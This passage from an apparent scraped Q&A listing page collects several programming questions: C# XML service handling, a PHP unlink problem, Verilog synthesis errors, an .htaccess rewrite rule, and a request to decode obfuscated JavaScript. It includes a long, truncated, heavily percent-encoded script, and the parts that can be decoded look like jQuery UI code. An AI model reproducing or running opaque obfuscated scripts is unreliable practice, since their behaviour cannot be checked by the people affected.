ex.Detail.Message }; } catch (System.Exception ex) { fault = new HubFault() { FaultType = ex.GetType().FullName, Message = ex.Message }; } finally { } Wrap up So there we have it – a reusable set of functions to send and interpret XML results from an internet based service. The code is reusable with a little change with any service which uses XML as a transport mechanism – and as for the Companies House GovTalk service all I need to do is create various objects for the result and message sent and the relevent XSLT files. I might need minor changes for other services but something like 70-90% will be exactly the same.

    Read the article

  • My delete function does not delete the targeted file

    - by Chester Sabado
    Basically I could upload files based on a project. Whenever I create a project, a new directory is created with the directory name as the project_name e.g. this is a test - this-is-a-test. But my problem is I couldn't delete a file in a directory. function delete_image($id) { $this->load->model(array('work_model', 'project_model')); $result = $this->work_model->get_work($id); $result = $this->project_model->get_project($result->project_id); $dir = str_replace(" ", "-", $result->project_name); $result = $this->work_model->delete($id); if (isset($result)){ unlink('./uploads/' . $dir . '/' . $result->full_path); } redirect('admin/project/view_project/' . $result->project_id); } Need help on this thanks.

    Read the article

  • Verilog errors during synthesis

    - by chester.boo
    Here is the code in question: http://pastebin.com/smqUNpdt When I do a syntax check, everything is okay. But when I try to synthesize with XST I get the following errors: ERROR:Xst:870 - "fibonacci.v" line 42: Can not simplify operator DIV. ERROR:Xst:899 - "fibonacci.v" line 29: The logic for <out> does not match a known FF or Latch template. ERROR:Xst:899 - "fibonacci.v" line 30: The logic for <ratio> does not match a known FF or Latch template. ERROR:Xst:899 - "fibonacci.v" line 36: The logic for <nextstate> does not match a known FF or Latch template. ERROR:Xst:899 - "fibonacci.v" line 37: The logic for <previousstate> does not match a known FF or Latch template. ERROR:Xst:899 - "fibonacci.v" line 38: The logic for <presentstate> does not match a known FF or Latch template. ERROR:Xst:899 - "fibonacci.v" line 39: The logic for <fib_number_cnt> does not match a known FF or Latch template.

    Read the article

  • making seo for search form

    - by Ronnie Chester Lynwood
    hello ive got a search form that sends "q" value with post method. and i want to seo it like TYPE-Q. for example i search for "need for speed" and it returns "game-need-for-speed" but no results. but when i changed adress like to "game-need for speed" i can get results. how can i bypass "-"'s ? htaccess: RewriteRule (.)-(.)-(.*)$ /index.php?q=$2&page=$3&type=$1

    Read the article

  • how to decode encoded javascript codes ?

    - by Ronnie Chester Lynwood
    hello. i got some code like this var xKsgbD = unescape('{var xWCknA %3d %27%2576a%2572%2520z%2562%2531%2538%2530%2537%2537d%2565%2565%2530%253Dz%2534%2564%25389%25322%25308%2563%2539%253Dz%2539%2539%25316%2537%25328%2565c%2561%253dz%2563%2562%2539%2535%25336%25634%2565%2536%253d%257A%2532%25656%2533b%25625%25620%2539%253d%257a5%2564d%25331%2531b%2561%2533c%253d%257a%2536e%25619%2539%25345%25630%2534%253D%2528%2530x%25380%2561%252b2%2531%2536%2535%252D0%25781%2530%2537f%2529%252c%257A%2537%2539%25641%2562%2538%2563%25624%2539%253D%2521%2570o%256C%256c%2569%2564%257C%257c%2521r%2561%2574%2565i%2564%253F%2528%2530x%2565%2536%252b%25378%25394%252d0%25781%2566%2562%2563%2529%253a%2528%2530x%2539c%2535%252B%2532%2533%2538%2534%252D%2530x%2531%25331%2534%2529%252Cz%2531%25300%25618%25393%2532d%2537%253d%2553t%2572%2569%256e%2567%252e%2566%2572o%256d%2543%2568%2561%2572%2543o%2564%2565%2528%2528%2530%25781%2534%2535+%25379%2530%252D%2530%25784%2532%2563%2529%2529%252C%257A%2563%2536%2538f%2563%2534%2531%2538%2533%2533%253DS%2574%2572i%256eg%252Ef%2572%256Fm%2543h%2561%2572C%256F%2564%2565%2528%2528%2530%2578%2531%25375%2563%252B%2533%25309%2535%252d0%2578%25323%2530b%2529%252c%2528%2530%2578%25310%2530%2537+%2532%25316%2531%252d0%25781%25380%2534%2529%252c%2528%2530%2578a%2563%2563+%25336%25345%252d0%2578%2531%2538%25395%2529%252c%25280%2578%2531f%2530%2538%252b%25335%2535%252D0%2578%2531f%2566b%2529%252C%25280%2578%2531%2533%25350%252b1%25353%2533%252d0%2578%2531%25391%2533%2529%252c%2528%2530%25781%2561%2539%2538%252B%25380%252D0%25781%2561b%2539%2529%252c%25280%25782%2531%2536+%2538%2530%2537%252D%2530%25785%2530%2565%2529%2529%252cz%2565%25656%25346%2531%25338%2536%2534%253DS%2574r%2569%256Eg%252Ef%2572o%256dC%2568a%2572%2543%256Fd%2565%2528%2528%2530x%25321%2533%2538+%25328%2538%252d%2530x%2532%2532%2532%2561%2529%2529%252c%257A%2536%2562%2561%2534%2531%25371%2530c%2539%253D%2553t%2572i%256E%2567%252E%2566r%256Fm%2543h%2561r%2543o%2564e%2528%2528%2530x%25314%2563%2533%252B%25369%2534%252d%2530%2578%25317%25316%2529%252c%25280%25781%25345%2562+%2531%2536%2539%252D0%25781%25349%2535%2529%252c%25280%2578%25618%2562+%2536%2533%25339%252d0%2578%2532%2532e%2531%2529%2529%252Cz%2533b%25302%2538a%2533%25371%2563%253d%2553%2574r%2569n%2567%252Ef%2572%256F%256d%2543%2568a%2572%2543o%2564%2565%2528%2528%2530%2578%25317%2533%2535%252B%2533%25367%2536%252D%2530x%25325%2531%2561%2529%252C%2528%2530x%2535%2564%2534%252b3%25395%2532%252D0%25781%2534c%2564%2529%252c%2528%2530x%2566%25623%252B%2531%2534%2535%2535%252d%2530%25781%2534%2565b%2529%2529%252C%257a%25346%2533%2538%2538b%2538%2566%25618%253D%2553t%2572%2569n%2567%252ef%2572o%256DC%2568%2561%2572C%256Fd%2565%2528%25280%2578%2534%2564%2537%252B%25312%25367%252d0%2578%2539%2538%2564%2529%2529%252cz%2566%2562a%2531%2565%25651%2562b%2535%253dS%2574r%2569%256eg%252Ef%2572o%256dC%2568%2561r%2543o%2564e%2528%2528%2530%25781%2535%2563%2537+%2533%2533%25334%252D0%25782%25328%2565%2529%2529%252c%257A%2563c%25637%2532%25354%2532d%2534%253D%2553t%2572%2569%256E%2567%252E%2566%2572%256F%256d%2543%2568a%2572%2543%256f%2564e%2528%2528%2530x%2564f%2535+%25362%2539%252D%2530x%2566f%2561%2529%252c%2528%2530x%25322%2565%2538%252B7%25327%252d0%2578%25325%2535%2537%2529%252c%25280%2578%2563%25326%252b6%2533%25378%252D%2530x%2532%2534a%2530%2529%2529%252c%257a%2563a%2532%25331%2538%2533%25307%2561%253d%2553%2574%2572%2569n%2567%252e%2566r%256f%256D%2543h%2561%2572%2543%256F%2564e%2528%25280%25781%2531%25636%252b%25337%25322%252D0%2578%25320%2532a%2529%2529%252C%257a%2537%2533%2561%25655%25386%25332%2564%253DS%2574r%2569n%2567%252ef%2572%256Fm%2543%2568%2561r%2543o%2564e%2528%25280%25782%2532%25652%252B%2534%2532%2538%252d%2530x%2532%25342%2566%2529%2529%252Cz%2564%25661%2562c%2536%2538%2534c%2562%253dS%2574r%2569n%2567%252e%2566r%256fm%2543%2568a%2572C%256fd%2565%2528%2528%2530%2578%2534%2566%2538+%2532%25351%2536%252D%2530x%2565%2535c%2529%252C%2528%2530x%25320%2532c%252B%2531%2531%2532%2530%252d%2530%2578%25324%2531d%2529%252c%2528%2530%25781%25302%2538%252B%2533%25364%2530%252d0%2578%2531%2564f%2534%2529%252c%25280%25782%25381%252b1%2538%2530%2535%252d%2530%2578%25392%2532%2529%252c%2528%2530x%25315%25632%252B%2537%25334%252d%2530%2578%2531%25383%2563%2529%252C%2528%2530x%2534f%2535%252B%25387%2533%2530%252D%2530%2578%25326%2561%2565%2529%252C%25280%2578%25379%2530%252B5%25356%2537%252D%2530x%2531%2563e%2562%2529%252C%25280%25789%2532%252b%25323%25354%252d0%2578%25396%2530%2529%252C%2528%2530%2578%25311%2532%2533%252b4%25322%2531%252D0%2578%25321%2532%2537%2529%2529%252cz%25668%2532b%2564d%2538b%25611%253DS%2574r%2569n%2567%252e%2566r%256F%256d%2543%2568%2561r%2543%256F%2564%2565%2528%2528%2530x%2561%2535c%252b2%2535%25362%252d0%25781%2533%2566a%2529%252C%2528%2530%2578%2531%2539%25639%252B%25312%2532%2531%252D0%25781%2565%25325%2529%252c%25280%2578%25390%2532%252B7%2532%25345%252d%2530x%25324%2564%2563%2529%252C%25280%2578%25635%2531%252b%25353%25397%252D0%2578%2532%2530f%2535%2529%252c%2528%2530%25786%2533c%252B6%25347%2531%252D0%25781%2566%2530e%2529%252C%2528%2530x%2531%25642%2538+%2535%2534%2530%252D%2530x%2531e%2564%2531%2529%2529%253b%2524%2528f%2575n%2563t%2569%256F%256e%2528%2529%257B%2524%2528%2522%255Cx%25323%255c%25787%2533%255cx%2537%2534%255cx%25361%255C%25787%2532%255C%25782%2530%255Cx%2536%2539%255c%25786%2564%255Cx%25367%2522%2529%252Ee%2572r%256F%2572%2528%2566%2575n%2563t%2569%256F%256e%2528%2529%257b%2524%2528%2574h%2569%2573%2529%252eu%256E%2562i%256E%2564%2528%2522%255c%25786%2535%255c%25787%2532%255Cx%2537%2532%255C%2578%2536f%255C%25787%2532%2522%2529%252ea%2574%2574r%2528%2522%255c%25787%2533%255C%25787%2532%255C%2578%25363%2522%252cz%25636%2538f%25634%2531%2538%25333%252B%2522%255cx%25373%255Cx%25332%2522%252B%257ae%25656%2534%25361%2533%2538%2536%2534%252b%2522%255Cx%25367%255cx%2536f%255cx%2536%2566%255c%2578%2536%2537%255cx%2536%2563%255C%2578%25365%255Cx%2537%2535%255cx%25373%255Cx%25365%255cx%2537%2532%255c%2578%2536%2533%255cx%2536%2566%255c%2578%2536%2565%255c%25787%2534%255Cx%25365%255cx%2536e%255C%2578%2537%2534%2522+%257A%2565e%2536%2534%25361%2533%2538%25364%252Bz%2536b%2561%25341%25371%2530%2563%2539%252Bz%2531%2530%2530%2561%25389%2533%2532d%2537%252B%2522%255c%25787%2533%255c%2578%2533%2532%2522%252Bz%2531%25300%2561%2538%25393%2532d%2537+%2522%255c%25786%2536%255Cx%2536%2531%255c%25787%2536%255Cx%25369%255c%2578%2536%2533%255Cx%2536f%255c%25786%2565%255c%25787%2533%2522%2529%253b%257d%2529%253B%2524%2528%2522%255C%2578%2532%2533%255Cx%25361%255c%2578%25364%255C%25786%2534%255Cx%2537%2532%255cx%25365%255cx%25373%255C%25787%2533%2522%2529%252ep%2572%2565p%2565n%2564%2528%2522%255C%2578%2533c%255Cx%25373%255C%25787%2534%255C%25787%2532%255c%25786%2566%255cx%2536e%255cx%25367%255c%2578%2533e%255c%2578%2534%2563%255cx%2536f%255c%25786%2531%255c%2578%2536%2534%255c%25786%2539%255c%25786%2565%255cx%2536%2537%255c%2578%2533%2561%255c%25783%2563%255cx%2532%2566%255C%2578%25373%255C%25787%2534%255c%2578%25372%255c%25786%2566%255C%25786%2565%255C%25786%2537%255Cx%2533e%255c%25782%2530%2522%2529%252e%2573%2568%256f%2577%2528%2529%252e%2561d%2564%2543l%2561%2573%2573%2528%2522%255C%25786%2563%255C%2578%2536f%255cx%25361%255C%25786%2534%255c%2578%25369%255c%25786%2565%255Cx%2536%2537%2522%2529%253b%2524%2528%2522%255cx%2536%2532%255C%25786%2566%255C%25786%2534%255cx%25379%2522%2529%252e%2561%2570p%2565%256e%2564%2528%2522%255Cx%2533%2563%255C%2578%25364%255C%2578%25369%255c%25787%2536%255cx%2532%2530%255C%2578%25369%255Cx%25364%255Cx%2533d%255Cx%25322%255C%25786%2533%255C%25786%2566%255cx%2536d%255c%25786%2564%255Cx%25365%255c%25786%2565%255cx%2537%2534%255cx%2537%2533%255Cx%25322%255c%25783%2565%255c%25783%2563%255Cx%2532%2566%255C%2578%25364%255cx%2536%2539%255Cx%25376%255C%25783%2565%255cx%2533%2563%255Cx%25364%255cx%25369%255Cx%2537%2536%255Cx%2532%2530%255C%2578%25369%255C%25786%2534%255C%25783%2564%255C%2578%2532%2532%255Cx%2537%2533%255Cx%2536%2533%255Cx%2537%2532%255Cx%2536f%255Cx%2536c%255C%2578%2536%2563%255C%2578%2532%2532%255C%25782%2530%255cx%25374%255cx%2536%2539%255Cx%25374%255Cx%2536%2563%255cx%25365%255c%25783%2564%255cx%2532%2532%255c%25785%2533%255cx%25363%255C%25787%2532%255C%25786%2566%255c%2578%2536c%255C%25786%2563%255cx%25320%255c%25784%2534%255C%2578%2536%2566%255Cx%25377%255C%2578%2536%2565%255Cx%25322%255Cx%2533%2565%255Cx%2532%2536%255C%25782%2533%255cx%2533%2539%255c%2578%2533%2536%255cx%2533%2536%255cx%2533%2530%255Cx%2533%2562%255cx%2533%2563%255c%25782%2566%255c%25786%2534%255C%25786%2539%255cx%2537%2536%255c%2578%2533%2565%2522%2529%253b%2524%2528%2522%255C%2578%2532%2533%255cx%2537%2534%255c%25786%2566%255c%25787%2530%2522%2529%252ea%2570p%2565%256E%2564%2528%2522%255c%2578%2533c%255C%2578%2536%2534%255cx%2536%2539%255Cx%25376%255c%25782%2530%255Cx%25369%255cx%25364%255c%25783%2564%255Cx%2532%2532%255Cx%25373%255Cx%2536%2538%255Cx%25361%255Cx%25372%255cx%2536%2535%255Cx%25331%255cx%2532%2532%255cx%2533e%255cx%25342%255c%2578%2536f%255c%2578%2536f%255Cx%2536%2562%255C%25786%2564%255c%2578%2536%2531%255C%2578%2537%2532%255cx%2536%2562%255c%2578%25320%255C%2578%2532%2536%255c%25782%2530%255C%25785%2533%255c%2578%2536%2538%255c%25786%2531%255C%25787%2532%255Cx%25365%255c%2578%2533%2563%255Cx%2532%2566%255Cx%25364%255c%2578%25369%255Cx%2537%2536%255C%2578%2533e%255C%2578%2533c%255c%2578%2536%2534%255C%25786%2539%255C%25787%2536%255C%2578%25320%255cx%25369%255c%2578%2536%2534%255Cx%2533d%255C%2578%2532%2532%255C%25787%2533%255C%25786%2538%255c%2578%2536%2531%255cx%25372%255Cx%25365%255c%25783%2532%255Cx%2532%2532%255cx%2533%2565%255Cx%2533c%255cx%2532f%255c%2578%2536%2534%255Cx%2536%2539%255Cx%2537%2536%255C%25783%2565%2522%2529%253Bi%2566%2528%257a7%2539d%2531b%2538c%2562%25349%2529%257b%2524%2528%2522%255c%25782%2533%255Cx%25364%255C%25786%2563%255C%25786%2531%255c%2578%25364%2522%2529%252ea%2566t%2565%2572%2528%2522%255Cx%2533c%255cx%2536%2534%255cx%2536%2539%255cx%25376%255Cx%2532%2530%255C%2578%25369%255c%2578%25364%255C%25783%2564%255c%2578%25322%255Cx%25372%255c%2578%2536%2531%255C%2578%25374%255C%25786%2535%255C%25782%2532%255C%25783%2565%255c%25782%2536%255Cx%2532%2533%255C%2578%25339%255c%2578%25336%255C%2578%2533%2536%255c%2578%25330%255c%25783%2562%255Cx%2532%2530%255Cx%2535%2532%255Cx%25361%255c%2578%25374%255C%25786%2535%255c%25782%2530%255cx%25374%255cx%2536%2538%255C%25786%2539%255C%2578%2537%2533%255Cx%2532%2530%255C%25784%2534%255c%25786%2566%255C%2578%2537%2537%255c%2578%2536e%255C%25786%2563%255C%2578%2536f%255Cx%25361%255c%25786%2534%255c%2578%2533%2563%255c%25782%2566%255Cx%2536%2534%255cx%2536%2539%255c%25787%2536%255Cx%2533e%255C%2578%2533c%255C%2578%2536%2534%255C%25786%2539%255cx%2537%2536%255cx%2532%2530%255cx%25369%255Cx%25364%255cx%2533d%255c%25782%2532%255c%25787%2534%255c%25786%2538%255C%25787%2535%255cx%2536d%255cx%25362%255c%2578%25373%255c%25782%2532%255c%2578%25320%255cx%2536%2533%255C%25786%2563%255cx%2536%2531%255C%2578%25373%255Cx%25373%255cx%2533d%255Cx%2532%2532%255C%2578%25365%255c%2578%2536%2565%255c%25786%2531%255cx%2536%2532%255c%2578%2536c%255C%25786%2535%255cx%25364%255c%2578%25322%255Cx%2533e%255Cx%2533%2563%255c%25782%2566%255cx%25364%255cx%2536%2539%255cx%25376%255cx%2533e%255cx%2533%2563%255cx%25364%255C%25786%2539%255Cx%25376%255cx%25320%255C%2578%2536%2539%255Cx%25364%255Cx%2533%2564%255C%2578%25322%255cx%2537%2534%255c%2578%25368%255c%25787%2535%255c%25786%2564%255Cx%25362%255c%25787%2533%255Cx%2533%2532%255Cx%25322%255c%2578%2533e%255C%25783%2563%255c%25787%2533%255C%25787%2530%255Cx%2536%2531%255cx%2536%2565%255cx%2533e%255C%2578%2532%2564%255c%25783%2563%255c%25782%2566%255C%2578%2537%2533%255cx%2537%2530%255Cx%2536%2531%255C%2578%2536%2565%255cx%2533e%255C%25783%2563%255cx%25373%255Cx%25370%255Cx%25361%255cx%2536e%255cx%2533e%255Cx%2532d%255c%2578%2533%2563%255c%25782%2566%255Cx%2537%2533%255C%2578%25370%255c%25786%2531%255c%2578%2536e%255C%2578%2533%2565%255C%2578%2533%2563%255c%25782%2566%255cx%2536%2534%255c%25786%2539%255Cx%2537%2536%255cx%2533%2565%2522%2529%253b%2524%2528%2522%255Cx%25323%255C%25787%2534%255cx%2536%2538%255cx%25375%255cx%2536d%255C%2578%25362%255cx%2537%2533%2522%2529%252e%2568%2574m%256c%2528%2522%255cx%2533%2563%255Cx%2537%2533%255Cx%2537%2530%255Cx%2536%2531%255cx%2536e%255C%2578%25320%255C%2578%25369%255C%25786%2534%255C%25783%2564%255Cx%25322%255c%25787%2534%255c%25786%2564%255c%25787%2533%255C%25786%2537%255cx%25322%255cx%2533e%255cx%2533c%255Cx%25373%255cx%2537%2530%255Cx%25361%255C%2578%2536%2565%255cx%2533e%255Cx%2533c%255C%25782%2566%255C%2578%25373%255cx%25370%255cx%25361%255cx%2536e%255c%2578%2533e%255c%25783%2563%255cx%2532%2566%255C%2578%25373%255cx%2537%2530%255C%25786%2531%255c%2578%2536e%255cx%2533%2565%255c%25783%2563%255c%2578%2536%2534%255Cx%2536%2539%255C%2578%25376%255Cx%2532%2530%255Cx%25369%255cx%25364%255c%25783%2564%255cx%2532%2532%255cx%2537%2534%255Cx%2536%2534%255cx%2536f%255C%2578%2532%2532%255Cx%2533e%255c%25783%2563%255C%25782%2566%255cx%2536%2534%255cx%25369%255Cx%2537%2536%255c%25783%2565%255cx%2533c%255C%25786%2534%255Cx%25369%255cx%2537%2536%255c%2578%25320%255Cx%25369%255cx%2536%2534%255cx%2533d%255C%25782%2532%255c%2578%25374%255c%2578%2537%2535%255Cx%2537%2530%255C%25782%2532%255C%25783%2565%255c%25783%2563%255c%25782%2566%255Cx%25364%255C%25786%2539%255c%2578%25376%255c%2578%2533%2565%2522%2529%252e%2566%2569n%2564%2528%2522%255c%25782%2533%255C%2578%25374%255c%25786%2564%255C%25787%2533%255Cx%25367%2522%2529%252eh%2569d%2565%2528%2529%253B%257d%2524%2528%2522%255Cx%2532%2533%255c%25787%2534%255cx%2536f%255Cx%2537%2530%2522%2529%252e%2568o%2576e%2572%2528f%2575%256Ec%2574i%256fn%2528%2529%257b%2524%2528%2522%255c%25782%2533%255C%25787%2533%255c%25787%2534%255C%25786%2531%255cx%25372%255C%25782%2530%255Cx%2536%2539%255C%25786%2564%255C%25786%2537%2522%2529%252Es%2574%256fp%2528%2529%252Ea%256e%2569m%2561%2574%2565%2528%257B%256Fp%2561%2563%2569t%2579%253a%25280%2578%25376%2530%252B6%25395%2534%252d%2530%25782%2532%2538a%2529%257D%2529%253b%2524%2528%2522%255C%25782%2533%255Cx%2537%2533%255cx%2536%2538%255c%25786%2531%255C%2578%25372%255c%2578%2536%2535%255c%2578%25331%2522%2529%252Es%2574o%2570%2528%2529%252ea%256Ei%256Da%2574%2565%2528%257bo%2570%2561c%2569t%2579%253a%25280%2578e%25615%252B5%25371%2538%252d0%2578%2532%2534f%2562%2529%257D%252C%2528%2530x%2533a%2530+%2538%2530%2533%252d0%2578%2535%2533%2533%2529%252Cf%2575%256ec%2574i%256fn%2528%2529%257b%2524%2528%2574%2568%2569s%2529%252eh%2569d%2565%2528%2529%253b%257D%2529%253b%257d%252c%2566%2575n%2563t%2569%256F%256e%2528%2529%257B%2524%2528%2522%255Cx%2532%2533%255C%25787%2533%255cx%2537%2534%255Cx%25361%255Cx%2537%2532%255cx%25320%255Cx%2536%2539%255cx%2536%2564%255cx%2536%2537%2522%2529%252es%2574o%2570%2528%2529%252ea%256E%2569%256Da%2574%2565%2528%257Bo%2570%2561%2563i%2574y%253A%2528%2530x%2531%2537c%2566+%25318%2534%2530%252d%2530x%2531%2565%2566e%2529%257D%2529%253B%2524%2528%2522%255c%25782%2533%255cx%2537%2533%255c%2578%25368%255Cx%25361%255Cx%25372%255cx%25365%255Cx%25331%2522%2529%252es%2568%256F%2577%2528%2529%252e%2573%2574o%2570%2528%2529%252E%2561n%2569%256Da%2574e%2528%257bo%2570%2561%2563i%2574y%253A%2528%2530%25781%2537%2561%2564%252B3%2535%25346%252d%2530x%25325%2538%2536%2529%257d%2529%253b%257d%2529%253b%2524%2528%2522%255C%25782%2533%255c%25787%2533%255Cx%25374%255c%2578%25361%255cx%2537%2532%2522%2529%252E%2563%256c%2569%2563%256B%2528f%2575n%2563%2574i%256Fn%2528%2529%257Ba%256Ce%2572%2574%2528%2522%255cx%2535%2530%255c%2578%2537%2532%255Cx%2536%2535%255Cx%25373%255cx%2537%2533%255c%2578%2532%2530%255Cx%25322%2522+%2528n%2561%2576i%2567a%2574o%2572%252ea%2570%2570%2556e%2572s%2569%256F%256e%252ei%256Ed%2565x%254ff%2528%2522%255C%2578%2534d%255C%2578%25361%255Cx%25363%2522%2529%2521%253D%252D%2528%2530x%2565%2531%2564%252b%25338%25304%252d0%2578%2531c%2566%2538%2529%253f%2522%255c%2578%2534%2533%255C%2578%2536d%255Cx%2536%2534%2522%253a%2522%255C%25784%2533%255cx%2537%2534%255Cx%25372%255C%2578%2536c%2522%2529+%2522%255C%2578%2532%2532%255cx%25320%255c%2578%25361%255C%25786%2565%255c%25786%2534%255C%25782%2530%255c%2578%2532%2532%255Cx%25344%255Cx%2532%2532%255c%2578%25320%255cx%2536%2566%255c%2578%2536e%255C%25782%2530%255c%2578%2537%2539%255c%25786%2566%255c%2578%25375%255C%2578%2537%2532%255c%25782%2530%255c%25786%2562%255Cx%25365%255c%25787%2539%255Cx%25362%255C%2578%2536f%255cx%2536%2531%255C%25787%2532%255c%25786%2534%255cx%2532%2530%255Cx%25374%255Cx%2536%2566%255Cx%25320%255C%2578%25362%255C%2578%2536f%255C%25786%2566%255C%2578%2536b%255cx%2536%2564%255Cx%2536%2531%255C%25787%2532%255Cx%2536%2562%255cx%25320%255Cx%2537%2534%255C%2578%25368%255cx%25369%255cx%2537%2533%255c%25782%2530%255C%25787%2537%255c%2578%2536%2535%255cx%25362%255c%25782%2530%255c%2578%25370%255C%2578%25361%255Cx%25367%255cx%2536%2535%255c%2578%2532e%2522%2529%253Bz%25333%25309%25668%2566%2532a%2561%2528%2529%253b%257D%2529%253b%2524%2528%2522%255C%2578%2532%2533%255c%25787%2533%255C%2578%2537%2534%255Cx%25361%255Cx%2537%2532%255C%2578%2532%2563%255C%2578%2532%2533%255cx%2536%2531%255cx%25364%255Cx%2536%2534%255c%2578%25361%255c%2578%25372%255Cx%2537%2532%2522%2529%252E%2568%256f%2576%2565r%2528f%2575%256ec%2574i%256f%256E%2528%2529%257bi%2566%2528%2524%2528%2522%255C%25782%2533%255C%25786%2531%255cx%25364%255C%25786%2534%255C%25787%2532%255Cx%25365%255cx%25373%255c%2578%25373%2522%2529%252e%2561t%2574%2572%2528%2522%255c%2578%25363%255cx%2536c%255Cx%2536%2531%255c%2578%25373%255c%25787%2533%2522%2529%253d%253D%2522%255c%2578%2536c%255c%25786%2566%255cx%25361%255c%25786%2534%255c%25786%2539%255C%25786%2565%255c%25786%2537%2522%2529%257br%2565t%2575%2572n%253B%257Dc%256C%2565%2561%2572T%2569%256de%256f%2575t%2528z%2532f%2561%25642%2564%2534%2563%2565c%2529%253b%2524%2528%2522%255cx%25323%255Cx%2536%2531%255c%25786%2534%255C%2578%25364%255Cx%25372%255Cx%25365%255Cx%2537%2533%255c%2578%25373%255C%2578%2532%2530%255c%2578%2537%2533%255c%25787%2534%255c%25787%2532%255cx%2536%2566%255cx%2536e%255Cx%25367%2522%2529%252E%2568%2574%256Dl%2528%2522%255cx%2535%2539%255cx%2536%2566%255c%2578%2537%2535%255C%2578%25327%255c%2578%2537%2532%255cx%2536%2535%255C%25782%2530%255Cx%2537%2536%255Cx%25369%255Cx%25373%255C%25786%2539%255c%2578%25374%255c%25786%2539%255cx%2536e%255cx%25367%255C%2578%2533%2561%2522%2529%253b%2524%2528%2522%255c%2578%25323%255Cx%2536%2531%255c%2578%2536%2534%255Cx%2536%2534%255cx%2537%2532%255C%2578%25365%255C%25787%2533%255cx%2537%2533%2522%2529%252es%2568o%2577%2528%2529%252ea%256ei%256da%2574%2565%2528%257Bt%256F%2570%253A%2528%2530x%25310%2561%2534+%2532%25354%2539%252d0%2578%2531a%25399%2529%257D%252C%25280%25786%25335%252B1%2539%2539%252D0%25786%25334%2529%2529%253b%257D%252cf%2575n%2563t%2569%256Fn%2528%2529%257B%257A2%25362%2534%2531d%2561%2537c%2537%2528%2529%253B%257d%2529%253B%2524%2528%2522%255cx%25323%255Cx%2536%2531%255cx%25364%255Cx%2536%2534%255c%2578%2537%2532%255cx%2536%2535%255c%2578%2537%2533%255c%2578%2537%2533%2522%2529%252e%2568o%2576e%2572%2528f%2575%256ec%2574i%256f%256e%2528%2529%257bc%256C%2565%2561%2572T%2569m%2565o%2575t%2528%257a2%2566%2561d%2532d%2534%2563%2565c%2529%253B%257d%252c%2566u%256ec%2574i%256f%256e%2528%2529%257B%257A%25326%2532%2534%2531%2564a%2537c%2537%2528%2529%253B%257D%2529%253B%2524%2528%2522%255Cx%25323%255c%25787%2534%255C%25786%2538%255c%2578%25375%255cx%2536%2564%255C%2578%25362%255cx%25373%2522%2529%252E%2568o%2576%2565%2572%2528%2566%2575%256ec%2574%2569o%256e%2528%2529%257B%2524%2528%2522%255C%2578%25323%255Cx%2537%2534%255c%2578%2536%2538%255Cx%2537%2535%255c%25786%2564%255cx%25362%255c%25787%2533%255C%25782%2530%255C%25782%2533%255c%25787%2534%255Cx%2536d%255C%25787%2533%255c%2578%2536%2537%2522%2529%252e%2573t%256f%2570%2528%2529%252Es%2568o%2577%2528%2529%252e%2561n%2569%256d%2561t%2565%2528%257B%256d%2561%2572g%2569%256e%2554o%2570%253A%252d%2528%2530%2578%25371%2532%252B%25356%2530%252d0%2578%2539%25309%2529%257d%252c%2528%2530x%2532%2536%2566+%2531%25315%2534%252d0%25786%2538%2564%2529%252cf%2575n%2563t%2569%256F%256E%2528%2529%257B%2524%2528t%2568%2569s%2529%252e%2573%2568%256f%2577%2528%2529%253b%257D%2529%253b%257D%252c%2566%2575%256E%2563%2574%2569%256fn%2528%2529%257B%2524%2528%2522%255cx%25323%255c%25787%2534%255c%2578%2536%2538%255Cx%25375%255cx%2536d%255cx%2536%2532%255Cx%25373%255C%25782%2530%255cx%25323%255C%25787%2534%255c%2578%2536d%255C%2578%25373%255C%2578%2536%2537%2522%2529%252Es%2574o%2570%2528%2529%252E%2561n%2569%256d%2561t%2565%2528%257bm%2561%2572g%2569n%2554%256fp%253A%2528%2530%25781%2534%25626%252b5%2539%252D%2530x%2531%2534f%2531%2529%257d%252c%2528%2530%2578%25360%2562+%2531%25356%2534%252D%2530x%25625%2566%2529%252cf%2575%256E%2563t%2569o%256E%2528%2529%257b%2524%2528%2574h%2569s%2529%252E%2568i%2564%2565%2528%2529%253b%257D%2529%253B%257D%2529%253B%2524%2528%2522%255Cx%2532%2533%255cx%25374%255cx%2536%2538%255C%25787%2535%255cx%2536%2564%255C%25786%2532%255c%25787%2533%255Cx%2532%2530%255cx%2532%2533%255Cx%25374%255c%25786%2534%255c%2578%2536f%2522%2529%252Eh%256fv%2565r%2528f%2575n%2563%2574i%256Fn%2528%2529%257B%2524%2528%2522%255Cx%25323%255Cx%2537%2534%255c%25786%2538%255C%2578%2537%2535%255C%25786%2564%255C%25786%2532%255C%25787%2533%255c%2578%25320%255Cx%25323%255cx%2537%2534%255C%25786%2564%255Cx%25373%255c%25786%2537%2522%2529%252e%2572%2565m%256f%2576%2565C%256C%2561s%2573%2528%2522%255c%2578%2537%2534%255cx%25375%255cx%2537%2530%2522%2529%252e%2561d%2564C%256C%2561s%2573%2528%2522%255c%25787%2534%255cx%2536%2534%255cx%2536f%2522%2529%253b%2524%2528%2522%255Cx%25323%255cx%25374%255c%25786%2538%255Cx%2537%2535%255Cx%2536d%255cx%2536%2532%255Cx%25373%255c%25782%2530%255c%25782%2533%255C%25787%2534%255cx%2536%2564%255Cx%25373%255Cx%25367%255c%25782%2530%255c%25787%2533%255c%2578%25370%255Cx%2536%2531%255C%25786%2565%2522%2529%252Eh%2574%256Dl%2528%2522%255cx%2535%2534%255C%2578%2536%2538%255cx%2536%2539%255cx%25373%255c%25782%2530%255Cx%25364%255Cx%2536f%255C%2578%2537%2537%255Cx%2536e%255C%2578%2536c%255C%2578%2536%2566%255cx%25361%255Cx%2536%2534%255C%25782%2530%255cx%2536%2534%255C%2578%2536f%255c%25786%2535%255C%2578%25373%255c%2578%2533c%255c%2578%2536%2532%255cx%2537%2532%255Cx%25320%255c%25782%2566%255C%2578%2533%2565%255cx%2533%2563%255c%25787%2533%255c%2578%25370%255c%25786%2531%255c%2578%2536e%255cx%25320%255c%2578%25363%255C%2578%2536%2563%255c%25786%2531%255Cx%25373%255cx%2537%2533%255cx%2533d%255Cx%2532%2532%255C%2578%25362%255cx%2536%2566%255c%2578%2536%2563%255C%2578%25364%255Cx%2532%2532%255cx%2533e%255c%25783%2563%255C%25787%2533%255Cx%25370%255C%25786%2531%255Cx%2536%2565%255Cx%2532%2530%255Cx%2536%2533%255cx%2536c%255Cx%25361%255Cx%25373%255Cx%2537%2533%255C%2578%2533d%255C%2578%25322%255cx%25375%255c%25786%2563%255C%25786%2539%255cx%2536e%255c%25786%2535%255cx%2532%2532%255Cx%2533%2565%255c%2578%2536%2565%255cx%2536%2566%255Cx%25374%255cx